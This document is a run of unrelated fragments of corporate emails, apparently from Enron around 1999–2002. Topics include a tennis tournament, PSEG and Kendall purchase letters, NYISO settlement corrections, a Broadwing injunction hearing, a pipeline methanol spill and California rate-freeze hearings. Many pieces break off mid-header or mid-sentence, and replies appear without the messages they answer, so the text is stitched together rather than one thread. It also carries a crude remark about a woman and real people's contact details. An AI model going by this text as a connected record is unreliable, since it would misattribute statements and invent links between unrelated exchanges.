Brower/ET&S/Enron@ENRON, Jean Eakins/GCO/Enron@ENRON, Barbara=20
Rose/HR/Corp/Enron@ENRON, Carolyn Henry/ET&S/Enron@ENRON, Amy=20
Oberg/HOU/EES@EES, Michelle Robichaux/HOU/EES@EES, Zulema=20
Ibarra/Corp/Enron@ENRON, Ahmed Malik/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT,=
=20
Maria Luna/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Edward Jr=20
Chavez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Patrick=20
Dominguez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michael Neves/HOU/ECT@ECT,=
=20
Carol Essig/Corp/Enron@ENRON, Guy Schlein/Corp/Enron@ENRON, Daniella=20
Carneiro/Corp/Enron@ENRON, Sandra Hrna/HOU/ECT@ect, Adrial=20
Boals/Corp/Enron@Enron, George Thomas/Corp/Enron@ENRON, Abrar Sait/Enron=20
Communications@Enron Communications, Steve Iyer, Cecilia=20
Ramirez/NA/Enron@ENRON, George Thomas/Corp/Enron@ENRON
cc: =20
Subject: JULY 15TH DOUBLES TOURNAMENT.

ENRON TENNIS ASSOCIATION TOURNAMENT

WHERE: THE METROP0LITIAN RACQUET CLUB
ONE ALLEN CENTER     Houston TX. 77002 =20
WHEN:  SATURDAY, JULY 15TH, 2000

TIME:  9:00 A.M.  TO  1:00 P.M.

FORMAT: DOUBLES

Warm up begins at 9: a.m.  And play starts at 9:30 a.m.
Dues are $25.00 for the season.
It can be paid at the tournament or sent to any of the officers of the Tenn=
is=20
Make checks payable to =01&Enron Corp=018.
A new waiver of liability form will need to be completed by each player pri=
or=20
to the tournament.
Food and drinks will be provided.
Those planning to attend please RSVP by Thursday 13th, 2000.
Due to limited court space and time=20

If you have any questions, please feel free to contact any one of the Enron=
=20
Tennis Association Committee:=20
Tommy Garza @3-6686, Gene Brantz @6-7428, James Pfeffer @6-7685, Dan Olson =
@=20
3-5601 or Robert Smith @6-7427.

Thanks and we look forward to seeing you there. =20

Feel free to pass this information on to any one else interested in=20
participating with the Tennis Association.

Has Louise mentioned anything about this to you?  What are we supposed to do 
with it?
06/11/99 01:13 PM ---------------------------

06/09/99 06:53 AM
To: Mark - ECT Legal Taylor/HOU/ECT@ECT, Justin Boyd/LON/ECT@ECT
cc:  
Subject: FYI

http://www.otp.org/

Attached please find the Natural Gas market analysis for today.

Thanks,

Bob McKinney

 - 10-26-01 Nat Gas.doc 

FYI.
---------------------- Forwarded by James D Steffes/HOU/EES on 09/14/2000 
11:39 AM ---------------------------

"Elizabeth A. VanDersarl" <liz@luntz.com> on 09/14/2000 10:50:27 AM
To: "'James D Steffes'" <jsteffe@enron.com>
cc:  
Subject: RE: Luntz Presentation

Hi Jim,

 I apologize for not sending these to you earlier.  Please call me if
you have any problems with this transmission.

Regards,
Liz

 - Perfect soundbite.doc
 - PRINCIPLES.doc
 - Top Facts.doc
 - YOUR OPPONENT.doc
 - Pro-Dereg - revised.doc

---------------------- Forwarded by Sara Shackleton/HOU/ECT on 03/16/2001 

kpolozie@mwe.com@mwe.com on 03/16/2001 05:52:48 PM
To: YYaish@exchange.ml.com, Janice.R.Moore@enron.com, sshackl@enron.com, 
TeiglandL@sullcrom.com, gilbergd@sullcrom.com, LMcMurray@exchange.ml.com
cc: ppantano@mwe.com, rpaul@mwe.com, daron@mwe.com, darezina@mwe.com 
Subject: Transfer and Assumption Agreement

Attached please find the revised Transfer and Assumption Agreement.  Please 
note
that in the interest of time I am sending this document to all parties
simultaneously, thus there may be additional comments.  For your convenience, 
I
am attaching both a clean copy and a marked version showing changes from the
most recent draft you received.

Kate Polozie

Katarina B. Polozie
kpolozie@mwe.com
(202) 756-8130
(See attached file: WDC99_406563_1.DOC)

(See attached file: WDC99_406261_5.DOC)

*******

*******

For more information on McDERMOTT, WILL & EMERY please visit our website at:
http://www.mwe.com/

 - WDC99_406563_1.DOC
 - WDC99_406261_5.DOC

Carlos tells me that he has had difficulty forwarding emails, so I'm sending 
this along.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 02/15/2001 04:58 

02/15/2001 04:53 PM
cc: Scott Healy/SF/ECT@ECT, Rusty Stevens/Corp/Enron@ENRON, Carlos 
Sole/NA/Enron@Enron, Kay Mann/Corp/Enron@Enron 

Subject: PSEG - Exclusivity Letter & Comments

Ben:

Attached below are PSEG's comments on the Kendall [Plano] draft Purchase 
Agreement and their proposed 1 page Option Letter.

I have asked Carlos Sole (ENA legal) to review these documents and let me 
know if the form of the Letter is acceptable to ENA legal.  PSEG indicated to 
me this afternoon that they are prepared to deposit the $300K in an account 
designated by Enron.

I have scheduled a call with PSEG at 1:30 (Houston time) tomorrow to discuss 
the letter and their due diligence/legal comments.  My first priority is to 
execute the Letter if we are comfortable with the form.  I did notice on my 
first pass that the Letter did not include language on the $3 MM Purchase 
Price.

I have set a meeting with Carlos at 9:00 am (Houston time) to go over the 
Letter and PSEG's comments.  Let me know if you would like to tie in by phone 
for that meeting (this applies to all parties on the above distribution).

Fred

---------------------- Forwarded by Fred Mitro/HOU/ECT on 02/15/2001 04:38 PM 

"Gilbert, Andrew E." <Andrew.Gilbert@pseg.com> on 02/15/2001 04:26:19 PM
To: "Fred Mitro (E-mail)" <Fred.Mitro@enron.com>
cc:  
Subject: Exclusivity Letter

Fred:

As we discussed, here is the letter and comments.

 <<Option Agreement 2.15.01.doc>>  <<Kendall Purchase Agreement
Comments.doc>>

Andrew (Landy) Gilbert
Director-Development
PSEG Power LLC

 - Option Agreement 2.15.01.doc
 - Kendall Purchase Agreement Comments.doc

rbowers@nyiso.com writes to the NYISO_TECH_EXCHANGE Discussion List:

On April 24, 2001, the NYISO deployed code changes affecting Class 1 PURPA
transactions in the billing system and modified bid status flagging in the
MIS.  These changes impacted settlements for 4/10, 4/11, 4/13, and 4/18 -
forward.

There was a code design problem with the PURPA code change that resulted in
an error in the computation of balancing energy for some class 1 units that
resulted in their purchasing their entire day-ahead schedules in the
balancing market.  There was also an oversight in the implementation of the
modified bid status flagging in the MIS such that those bids were not
transferred into the billing system, impacting bid production cost
guarantee settlements for the units with a modified bid status.

The NYISO will be issuing a supplemental invoice for April 2001 settlements
on Tuesday, May 15th to adjust for the aforementioned issues.  Funds due
the NYISO for this supplemental invoice should be transferred into the
NYISO Clearing Account by close of business Wednesday, May 23, 2001.  Funds
due Market Participants from the NYISO for this supplemental invoice will
be transferred into Market Participant accounts by close of business
Friday, May 25, 2001.

PLEASE NOTE THAT: Funds due the NYISO for the April 2001 settlements which
were invoiced on May 7, 2001 should be transferred into the NYISO Clearing
Account by close of business Wednesday, May 16, 2001, as scheduled.  Funds
due Market Participants from the NYISO for the April 2001 settlements
invoiced on May 7, 2001 will be transferred into Market Participant
accounts by close of business Monday, May 21, 2001, as scheduled.

Dan,
Could you email your fax number.  I will then send a copy of the BancFirst
Mortgage referenced in my previous email.
The JOA Recording Supplement is apparently in route from the Campbell County
Clerk's office.
I will forward a copy to you upon receipt.

Doug  

When: Wednesday, February 06, 2002 10:30 AM-11:30 AM (GMT-06:00) Central Time (US & Canada).
Where: TBD - Lorraine Becker will email location

I will be on vacation during that time period and am not planning to go to the data room.

From: 	McConnell, Mark  
Sent:	Thursday, October 25, 2001 10:34 AM
To:	Watson, Kimberly; Abdmoulaie, Mansoor; Brassfield, Morris; Huber, Lee; Chandler, Bob; Centilli, James; Ratner, Michael; Guthrie, Robert; Rice, Greek; Hawkins, Don; Jones, Nyree; Dowd, Stephen; Stephens, LD; Gleffe, Larry; Ames, Mike; Schick, Warren; Huber, Lee; Campbell, Larry
Cc:	Harris, Steven; Alters, Dennis; Rapp, Bill; Hayslett, Rod; Sandt, Jim; Saunders, James
Subject:	Questar Southern Trails Data Room OCT 29 - 30 (Monday and Tuesday)

We will be able to attend the Questar Southern Trails data room on Monday and Tuesday (Oct 29th and 30th) as originally planned.  If you only need one day, please let me know which day you'll be attending.

Questar is located at 180 East 100 South, Salt Lake City, Utah.  Our main contacts are Jodi Starley at (801) 324-2082 and Gary Schmitt at (801) 324-2082. The hours of the data room are 8:00 - 4:00. 

They are looking at our data request and working to make sure they can accomodate us.  Also,  Engineers available for interviewing are only available on Monday.  Legal staff needed to be interviewed are only available on Tuesday.  If there are other staff that are needed for interviews, please let me know.

Some attendees are staying at the Salt Lake City MARRIOTT SALT LAKE CITY, 75 S. West Temple, Salt Lake City, UT 84101 Phone: 1-801-531-0800 FAX: 1-801-532-4127
 for Sunday and Monday nights.  You need to make your own travel reservations and it is advised that you do that as soon as possible.

The Bid for Southern Trails West Leg) is due December 10th.

I show the following people going to the data room:

1.	L.D. Stephens - Team Leader/Operations
2.	Larry Campbell - Environmental
3.	Larry Gleffe - ROW 
4.	Mike Ames - Pipeline Safety
5.	Warren Schick - Property Tax
6.	Bob Chandler - Finance
7.	Stephen Dowd - Corp Dev
8.	Kim Watson - Marketing 
9.   Mark McConnell - Marketing

Please let me know if this list needs any corrections.

Mark

If you prorate the min. monthly fee for a partial month, and you prorate the 
termination for the balance of that partial month, you--in aggregate--get the 
beginning balance shown on the schedule.
Sent: Friday, May 25, 2001 9:40 AM
To: Rorschach, Reagan
Subject: RE: Open items for MDEA

I don't understand the last sentence.

From: Reagan Rorschach/ENRON@enronXgate on 05/25/2001 09:31 AM
cc:  

The value in the table is the beginning balance for each month.  So if they 
cancel in the middle of the month, they should pay the balance at the 
beginning of that month and no prorated minimum monthly fee.  If you prorate 
it on both ends, you end up getting the total balance shown at the beginning 
of the month.

Sent: Friday, May 25, 2001 9:08 AM
Cc: Coulter, Kayne; May, Tom; Miller, Jeffrey; Fairley, David

Schedule reflects amount due for cancellation on or before the stated dates?

From: Reagan Rorschach/ENRON@enronXgate on 05/24/2001 01:19 PM
cc: Kayne Coulter/ENRON@enronXgate, Tom May/ENRON@enronXgate, Jeffrey 
Miller/ENRON@enronXgate, David Fairley/ENRON@enronXgate 

Kay, see attached.  The monthly fee should be $13,003.  I took the $300k we 
have all been discussing and backed out the $12,500 they paid under the ILA 
terms.

 << File: Cancellation Fee Schedule.doc >> 

More:

What is the status of the Yazoo City master gas agreement?  Do we still want 
a master gas agreement for Clarksdale, also?  Do we want it now?

Thanks,

Kay

Kay Mann
cc:  

Thanks,

Kay

yeah.  nothing turns me on like a woman in a truck.  does she have rebel flag 
stickers on the truck and calvin peeing on a ford symbol sticker?

Yes this is correct.  This is the reason Sherry and Amy have to flip out 
deals everyday.  EOL is only booking them to one leg.

Thanks,

Errol

Steve, a week ago today, the judge denied our request for preliminary 
injunction, but kept the proceeding open (so we can go back on an expedited 
basis if we need to) and warned Broadwing that its many cuts were very gross 
and that they should exercise extreme care ("digging with a hand trowel, if 
you can," he said) as they continue their construction.  He also said that 
they were facing some pretty significant damages, and that if they cut us 
again he would probably issue an injunction.  He was concerned that future 
cuts, after our system is lit, will generate much higher damage claims from 
us.

If you want a little more detail, the judge ruled that we had met 3 of the 4 
tests to get the injunction--likelihood of succeeding on the merits, 
likelihood of suffering irreparable harm, and satisfied the public policy 
protecting existing utility facilities.  But he found that on the 4th test, 
the comparison of damages, that the damages B'wing would suffer if the 
injunction were granted were similar to the damages we will suffer if it were 
not granted, but the 30 or so menial construction hands who would be laid off 
by the contractors, if the injunction were granted, tipped the balance.  

We knew that the chances of a shutdown were remote, and we were surprised we 
came so close.  Our goal was to get the judge's help to make B'wing use safer 
construction practices, to avoid future cuts (which they have done:  they are 
potholing now, constructing slower, and listening to our inspectors, although 
they still refuse to sign a Construction Coordination Agreement, which we've 
repeatedly offered).  Our outside counsel and witnesses did a great job, and 
the judge was very stern in his warning to Broadwing.  I think the Broadwing 
people realize that  Broadwing did not "win" this proceeding, and that a 
rather large hammer is now hanging over their head.

Next steps: I believe Brad is going to meet on-site with Broadwing's Bill 
Muckle, to explore future steps to prevent future cuts.  We are keeping the 
courthouse warm.  That's about it.

Please let me know if you'd like more info.

Kenton

From: Steve Elliott on 03/10/2000 09:05 AM

To: Kenton Erwin/Enron Communications@Enron Communications

cc: David Leatherwood/Enron Communications@Enron Communications 

Subject: Broadwing status please?

What was the result of the court hearings and next steps?

----- Forwarded by Shonnie Daniel/HOU/ECT on 08/31/2000 06:36 PM -----

	Shonnie Daniel
	12/10/1999 02:34 PM
		 
		 To: Frank Smith/Corp/Enron@ENRON
		 cc: 
		 Subject: Methanol Spill History and Status

Frank,  I'd like to discuss this with you.  Thanks.  Shonnie
---------------------- Forwarded by Shonnie Daniel/HOU/ECT on 12/10/99 02:34 
   
	From:  Shonnie Daniel                           12/10/99 10:22 AM
	
To: jshrader@cmsenergy.com
cc:  
Subject: Methanol Spill History and Status

---------------------- Forwarded by Shonnie Daniel/HOU/ECT on 12/10/99 10:22 

Dave Keanini <DKEANINI@westerngas.com> on 12/10/99 09:35:14 AM
To: pbarret@cmsenergy.com, john.connor@coastalcorp.com, Brian 
Bierbach/DEN/ECT@Enron, Shonnie Daniel/HOU/ECT@ECT, lpwag@ibm.net, 
CSAWYER@westerngas.com, CWILSON@westerngas.com, 
D1DOMAIN#c##091#enron.com#093##c#dbump@westerngas.com, 
D1DOMAIN#c##091#stoneweb.com#093##c#elias.cortina@westerngas.com
cc: dthompso@cmsenergy.com, lynn.christensen@coastalcorp.com, 
aunverz@ect.enron.com, Lal Echterhoff/HOU/ECT@ECT, Leticia Leal/HOU/ECT@ECT, 
BPORTZ@westerngas.com, CMARTINE@westerngas.com, DNOE@westerngas.com, 
Mbrinkme@westerngas.com, TMARQUES@westerngas.com 

Attached is a memo from Chris Martinez, Environmental Engineer for Western, 
which details the chronology and current status of the methanol spill which 
occurred during the hydrotesting of the Ft. Union pipeline.  As mentioned in 
the memo, the spill was reported to the Solids and Hazardous Waste Division 
of the Wyoming Department of Environmental Quality and they are  in agreement 
with the proposed plan for remediating any remaining contamination.  Also 
note that our estimated cost to complete the remediation is $25,000.

If you should have any questions or concerns please contact myself at 
303.450.8402 or Chris Martinez at 303.452.8418.

Thank You

 - MeOH Spill Chronology.doc

You have received this email because you are listed as an alternate data 
approver. Please click 
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000005168&Page=

Request ID          : 000000000005168
Approver            : stinson.gibner@enron.com
Request Create Date : 10/18/00 2:06:37 PM
Requested For       : leann.walton@enron.com
Resource Name       : \\enehou\houston\common\Research - [Read/Write]

Ronnie, this sounds like good news. 

 I think the project team managed the #1 turbine problem heroically.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 07/07/2000 
06:19 PM ---------------------------
   
	From:  Clay Spears                           07/07/2000 09:35 AM
	
To: rlee@waltonemc.com, rdelong@waltonemc.com
cc: Mike J Miller/HOU/ECT@ECT, David W Delainey/HOU/ECT@ECT, Janet R 
Dietrich/HOU/ECT@ECT 
Subject: Doyle Financial changes since Fall 99

Ronnie and Russell,

Attached find a revised financial model for the Doyle project.  The model 
contains the changes that have occurred since this model was last updated in 
the Fall of 1999.  While the model is lengthy, I will summarize the major 
differences in the project.

1).  Capital Cost Increases:

The project capital cost has increased from the original plan.  The increases 
are dur to the following changes from our initial budget:

a) Planned purchase of the neighbor's house  $   140,000
b) Added cost of the sewer line    $      59,000
c) Output bonus on the PDA for max 5 MW   $1,725,000
d) IDC increase from increase in interest rates  $   574,000
 Total       $2,498,000

2).  Total Output change from 342 MW to 351.6 MW.  This assumes that unit 1 
will test at 62.2 MW. (the same as units 2 & 3)

3).  Project Net Value Increases due to Output Increase:

Impact of the added plant output is very positive.  It increases cashflow and 
debt service coverage.  The net increase to Walton is an additional 
$2,568,000 in value.  Walton's NPV increased from $5,281,000 to $7,849,000.  
This NPV includes Walton's project returns, the cost of interest on equity, 
the cost and recovery of LTCTs, and the asset management fee.

If you have any question, please call.

Clay

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Thanks Roger.  Here are the highlights of today's hearings:

 Common themes--many tracked ours pretty closely
Not a question of whether rates need to rise, but by how much.
Though some oppose any and all rate increases, the lion's share acknowledged 
that the utilities have a cash flow problem and the a rate increase is 
Due process matters. 
If the Commission is thinking about going as far as ending rate freezes and 
increasing rates, it better provide for ample due process, or countless law 
suits will ensue.
Don't jump the gun.  
A rate increase is likely, but only the utilities benefit from adoption of 
the utilities' proposals. The Commission needs to carefully scrutinize the 
utilities' claims and take a careful look at the level of increase required 
to maintain access to capital markets.  However, as expected, the utilities 
implored the Commission to jump the gun immediately.  The utilities want the 
Commission to declare an end to the rate freeze and raise rates on Jan.4.
No more divestiture.  
The utility should keep the generating assets it retained, but the Commission 
should ensure that the assets' benefits are allocated equally among all 
customers.  One legislator recommended that the State buy the utilities' 
hydro assets, which would give the utilities the cash they need and give the 
state control over some generation.
Treat all customers equally and fairly.
The Commission should not create two classes of customers (e.g., large v. 
small; direct access v. bundled).  No customer group should be sacrificied to 
save another.
Be as narrow as possible/do as little harm as possible
The immediate problem is the utility's cash/credit crunch.  As such, the 
Commission should do only enough to solve this very specific, immediate 
problem.  A modest rate increase is all that's required and the Commission 
should do no more.

At the beginning and the end of the hearing, the President of the Commission 
asked parties to be prepared (at tomorrow's hearing) to discuss whether the 
Commission could legally use its other, broad powers to raise rates without 
declaring an end to the rate freeze.  It seems that she seems some benefit in 
raising rates, but leaving AB 1890 otherwise intact untill the Commission can 

Marketers and generators are to blame for the problem
Though not universally embraced, the theme came up repeatedly. 

A few parties (e.g., the Unions, low income consumer groups, one PUC 
commissioner) called for complete re-regulation of the industry, returning 
the utilities to vertically integrated monopolies.  But they were the 
exception rather than the rule at today's hearing.

2. Next steps
There hearings were scheduled to end on Thursay, but now will continue 
through Friday.
Tomorrow, lawyers will provide "oral" arguments on whether the Commission 
must end the rate freeze in order to increase rates.  We will argue that it 
does not have to, and should not, go through the complex and controversial 
exercise of determing whether the rate freeze is over between now and 
01.04.01.  We will argue that the Commission has the authority to raise rates 
without ending the rate freeze, and if it decides to raise rates, it should 
do so while keeping AB 1890's basic structure in place until a full and fair 
hearing of the issues is completed.   We are talking to other stakeholders to 
persuade them to take the same approach.  In terms of legal arguments, this 
is clearly a long shot, but one that seems worth taking.
After the oral argument, the utilities will present their rate proposals and 
"all interested persons" will have the opportunity to cross-examine the 
utilities (in short, tomorrow will also be a zoo).
When asked what the process will be for issuing a proposed decision and 
providing comments, the President of the Commission responded "we don't know, 
it's evolving."  In other words, the Commission is doing a poor job of 
ensuring that their Jan 4 decision is "appeal-proof."
Keep in mind that the situation remains extremely fluid and the trend is 
still toward ending the rate freeze on Jan. 4th.  We continue to aggressively 
offer alternatives to that possibility and continue to try to bring other 
stakeholders to our side.
We're doing everything necessary to preserve our appeal rights.

We can discuss further on the 10 AM (CST) call tomorrow.

Best,
Jeff

	Roger Yang@EES
	12/27/2000 05:43 PM
		
		 To: Leticia Botello/HOU/EES@EES
		 cc: Ted Murphy/HOU/ECT@ECT, Dennis Benevides/HOU/EES@EES, James W 
Lewis/HOU/EES@EES, Scott Stoness/HOU/EES@EES, Don Black/HOU/EES@EES, Tony 
Spruiell/HOU/EES@EES, Mike M Smith/HOU/EES@EES, Meredith M 
Eggleston/HOU/EES@EES, Neil Hong/HOU/EES@EES, Evan Hughes/HOU/EES@EES, Neil 
Bresnan/HOU/EES@EES, Jess Hewitt/HOU/EES@EES, Vladimir Gorny/HOU/ECT@ECT, 
William S Bradford/HOU/ECT@ECT, Jeff Dasovich/NA/Enron@Enron, Eric 
Melvin/HOU/EES@EES, Scott Gahn/HOU/EES@EES, Gayle W Muench/HOU/EES@EES, 
Gordon Savage/HOU/EES@EES, Harry Kingerski/NA/Enron@Enron, Ken 
Gustafson/HOU/EES@EES, Edward Sacks/Corp/Enron@Enron, Richard 
Shapiro/NA/Enron@Enron, Marty Sunde/HOU/EES@EES, Dan Leff/HOU/EES@EES, Vicki 
Sharp/HOU/EES@EES, Kevin Hughes/HOU/EES@EES, Jeremy Blachman/HOU/EES@EES, 
Harold G Buchanan/HOU/EES@EES, Mark S Muller/HOU/EES@EES, Kathy 
Bass/HOU/EES@EES, Rosalinda Tijerina/HOU/EES@EES, Debora 
Whitehead/HOU/EES@EES, Leasa Lopez/HOU/EES@EES, Christina 
Liscano/HOU/EES@EES, Tasha Lair/HOU/EES@EES, Erika Dupre/HOU/EES@EES, Rita 
Hennessy/NA/Enron@Enron, Brenda Barreda/HOU/EES@EES, Marsha 
Suggs/HOU/EES@EES, Carol Moffett/HOU/EES@EES, Kathy Dodgen/HOU/EES@EES, Cathy 
Corbin/HOU/EES@EES, Sharon Dick/HOU/EES@EES, Beverly Aden/HOU/EES@EES, Tanya 
Leslie/HOU/EES@EES, Paula Warren/HOU/EES@EES, Wanda Curry/HOU/EES@EES, Ginger 
Dernehl/NA/Enron@Enron, Dorothy Youngblood/HOU/ECT@ECT, Terri 
Greenlee/NA/Enron@ENRON, Fran Deltoro/HOU/EES@EES, Iris Waser/HOU/EES@EES
		 Subject: Re: Reminder - Level Setting Mtg-California Markets Focus Group 
EB2868

Got an update from Jeff Dasovich.  No earth shattering news.  Comments have 
been all over the place.  The impression is being made by differing parties 
that the issues are very complex and would inevitably result in endless 
lawsuits.  Possible conclusion by the CPUC may be to invoke emergency powers 
to implement an emergency surcharge and avoid addressing the issue of when 
the rate freeze ends in these hearings.  However, this is just speculation.  
Jeff will return to the office by 5:00 pm PST and will send out a summary of 
today's hearings.

Roger
  
Leticia Botello
12/27/2000 06:57 AM
To: Ted Murphy/HOU/ECT@ECT, Dennis Benevides/HOU/EES@EES, James W 
Gustafson/HOU/EES@EES, Edward Sacks/Corp/Enron@Enron, Roger Yang/SFO/EES@EES, 
Richard Shapiro/NA/Enron@Enron
cc: Marty Sunde/HOU/EES@EES, Dan Leff/HOU/EES@EES, Vicki Sharp/HOU/EES@EES, 
Kevin Hughes/HOU/EES@EES, Jeremy Blachman/HOU/EES@EES, Harold G 
Buchanan/HOU/EES@EES, Mark S Muller/HOU/EES@EES, Kathy Bass/HOU/EES@EES, 
Rosalinda Tijerina/HOU/EES@EES, Debora Whitehead/HOU/EES@EES, Leasa 
Lopez/HOU/EES@EES, Christina Liscano/HOU/EES@EES, Tasha Lair/HOU/EES@EES, 
Erika Dupre/HOU/EES@EES, Rita Hennessy/NA/Enron@Enron, Brenda 
Barreda/HOU/EES@EES, Marsha Suggs/HOU/EES@EES, Carol Moffett/HOU/EES@EES, 
Kathy Dodgen/HOU/EES@EES, Cathy Corbin/HOU/EES@EES, Sharon Dick/HOU/EES@EES, 
Beverly Aden/HOU/EES@EES, Tanya Leslie/HOU/EES@EES, Paula Warren/HOU/EES@EES, 
Wanda Curry/HOU/EES@EES, Ginger Dernehl/NA/Enron@Enron, Dorothy 
Youngblood/HOU/ECT@ECT, Terri Greenlee/NA/Enron@ENRON, Fran 
Deltoro/HOU/EES@EES, Iris Waser/HOU/EES@EES 
Subject: Reminder - Level Setting Mtg-California Markets Focus Group EB2868

12/27/00

Time    Location Call In #  Pass Code

10:00 Central Standard Time  EB 2868  1-800-713-8600  80435

This is a recurring daily meeting until further notice  (this invitation will 
schedule your calendar through 1/31/01).

Time, Call In #, and Pass Code are the same for all meetings.  Conference 
room location will be changed as soon as possible to better accommodate the 
participants.  

Note:  Optional Invitees FYI Only

Please call me if you have any questions 

Leticia

x-58752

Lance,  Could you please explain to me what the shift factors for the two major constraints (in the attached apeadsheet) mean in layman's terms?

From: 	"Donohoo, Ken" <KDonohoo@ercot.com>@ENRON  
Sent:	Wednesday, April 25, 2001 4:33 PM
To:	1 CSC Working Group
Cc:	1 WMS and others(Wholesale Market Sub.); 1 RMS and others(Retail Market Sub.); 1 ROS and others(Reliability and Operations Sub.); 1 Steady State TF; 1 PIE TF
Subject:	ERCOT Congestion Management Final Draft Information

CSC Working Group, attached to this email is the FINAL Draft of the CSC Data and all background information.  It includes all the coorections and exceptions.  It includes an the adjustment of Self Serve.  Please examine this information and let us know of any objections ASAP.  The June 1 system is waiting for these numbers!  
Your cooperation in this matter is appreciated. 
Kenneth A. Donohoo, PE 
Manager of System Planning, Technical Operations 
ERCOT 
2705 West Lake Dr. 
Taylor, TX 76574-2136 
(512)248-3003, FAX(512)248-3082 
  
 - Congestion Management 2001 2CSC3ZONES.xls 

Angelika,

I shall be honored to serve as a chairman.

Vince

From: 	Angelika Staude <AStaude@iirltd.co.uk>@ENRON  
Sent:	Wednesday, October 24, 2001 5:08 AM
Subject:	Gas & PoweRisk 2001 - Chairman

Vince, 
 
I would like to offer you to be the chairman for  the morning stream session "On-Line  Trading & Risk  Management" (8th November,  11.45-13.15), to introduce the speakers (Spyros Maragos, Per Hjorth and Les Clewlow)  and lead the discussion. Would you be interested in doing  that?
 
Director Gas & PoweRisk  2001
 
Fax: 0044 207 915 5101www.icbi-uk.com/powerisk << File: http://www.icbi-uk.com/powerisk >> 

Hi Steve,

I am not aware of any transactions such as stock option exercises, etc. which 
have to be reported by May 10.

Thanks for focusing on this matter each month.

Elaine

Steven J Kean@EES
04/20/2000 11:52 AM
To: Elaine Overturf/Corp/Enron
cc:  

Subject: Form 4 Reminder for April

do I need to do anything?  I believe the only transaction I had was related 
to a set of shares which were released to me earlier in the year.  Some of 
the shares were sold at that time to pay the income tax on the distribution.  
We discussed this before and my recollection is I did not have to make a 
filing.  Could you confirm by e-mail?
---------------------- Forwarded by Steven J Kean/HOU/EES on 04/20/2000 11:50 

Rebecca Carter@ENRON
04/20/2000 09:58 AM
Sent by: Kelly Johnson@ENRON
To: Kenneth Lay/Corp/Enron@ENRON, Jeff Skilling/Corp/Enron@ENRON, Joseph W 
Sutton/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, rebecca 
mark-jusbasche/HOU/AZURIX@Azurix, Ken Harrison/Enron@Gateway, Cliff 
Baxter/HOU/ECT@ECT, Mark Frevert/LON/ECT@ECT, Joe Hirko/Enron 
Communications@Enron Communications, Stanley Horton/Corp/Enron@Enron, Ken 
Rice/Enron Communications@Enron Communications, Lou L Pai/HOU/EES@EES, Rick 
Buy/HOU/ECT@ECT, Richard Causey/Corp/Enron@ENRON, James 
Derrick/Corp/Enron@ENRON, Andrew S Fastow/HOU/ECT@ECT, Steven J 
Kean/HOU/EES@EES, Mark Koenig/Corp/Enron@ENRON, Mike McConnell/HOU/ECT@ECT, 
Jeffrey McMahon/HOU/ECT@ECT, J Mark Metts/NA/Enron@Enron, Cindy 
Olson/Corp/Enron@ENRON
cc: Rosalee Fleming/Corp/Enron@ENRON, Sherri Sera/Corp/Enron@ENRON, Pam 
Benson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Marsha Lindsey/HOU/AZURIX@AZURIX, 
Dolly Henrici/Enron@Gateway, Susan Skarness/HOU/ECT@ECT, Nicki 
Daw/LON/ECT@ECT, Nancy Young/Enron Communications@Enron Communications, Cindy 
Stark/Corp/Enron@ENRON, Dorothy Dalton/Enron Communications@Enron 
Communications, Karen Owens/HOU/EES@EES, Karen K Heathman/HOU/ECT@ECT, 
Sharron Westbrook/Corp/Enron@ENRON, Stephanie Harris/Corp/Enron@ENRON, 
Bridget Maronge/HOU/ECT@ECT, Maureen McVicker/HOU/EES@EES, Joannie 
Williamson/Corp/Enron@ENRON, Cathy Phillips/HOU/ECT@ECT, Sue 
Ford/HOU/ECT@ECT, Dolores Fisher/NA/Enron@Enron, Bobbie 
Power/Corp/Enron@ENRON 

please open the attached document.

Sounds good to me!  I only wish I could bill by the hour the time I have 
spent today straightening out issues raised by this El Paso thing!!!

	01/04/2001 03:35 PM
		 
		 Subject: Merger - El Paso Merchant Energy, L.P.

I would think adding the name would be adequate; do you agree?
---------------------- Forwarded by Tanya Rohauer/HOU/ECT on 01/04/2001 03:21 
   
From:  Veronica Espinoza @ ENRON                                              
               01/04/2001 03:26 PM	
	
cc:  
Subject: Merger - El Paso Merchant Energy, L.P.

Pertaining to the email below--I spoke to El Paso this morning about the 
gty's (there are a total of 3 in question covering financial and physical 
deals w/ENA, HPL, and EPMI).  They agreed to have those three amended to 
include the name El Paso Merchant Energy, LP (as they only include Gas, LP).  
This is what their Legal is recommending in order to have the gty amendments 
executed ASAP and to make it as clean as possible (since 2 of the 3 gty's are 
tied to contracts).  Also, the amendments will be made effective as of 
12/31/00.

Let me know if you think we should ask for completely new gty's.

Veronica
---------------------- Forwarded by Veronica Espinoza/Corp/Enron on 
01/04/2001 03:20 PM ---------------------------
From: Tana Jones@ECT on 01/04/2001 02:28 PM
To: Bob Bowen/HOU/ECT@ECT, Laurel Adams/HOU/ECT@ECT, Andrea R 
Guillen/HOU/ECT@ECT, Larry Joe Hunter/HOU/ECT@ECT, Gordon 
Heaney/Corp/Enron@ENRON, Janie Aguayo/HOU/ECT@ECT, Derek 
Bailey/Corp/Enron@ENRON, Diane Anderson/NA/Enron@Enron, Kevin 
Meredith/Corp/Enron@ENRON, Scott Tackett/Corp/Enron@Enron, Celeste 
Cisneros/NA/Enron@Enron, Tiffany Williams/NA/Enron@Enron, Kim S 
Theriot/HOU/ECT@ECT, Dianne Seib/CAL/ECT@ECT, Melissa Ann Murphy/HOU/ECT@ECT, 
William S Bradford/HOU/ECT@ECT, Debbie R Brackett/HOU/ECT@ECT, Tanya 
Rohauer/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, Tracy Ngo/PDX/ECT@ECT, Lesli 
Campbell/HOU/ECT@ECT, Veronica Espinoza/Corp/Enron@ENRON, Paul 
Radous/Corp/Enron@ENRON, Wendi LeBrocq/Corp/Enron@Enron, Russell 
Diamond/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, Edward Sacks/Corp/Enron@Enron, 
Nidia Mendoza/HOU/ECT@ECT, Bradley Diebner/HOU/ECT@ECT, Wendy 
Conwell/NA/Enron@ENRON, Brent Hendry/NA/Enron@Enron, Sara 
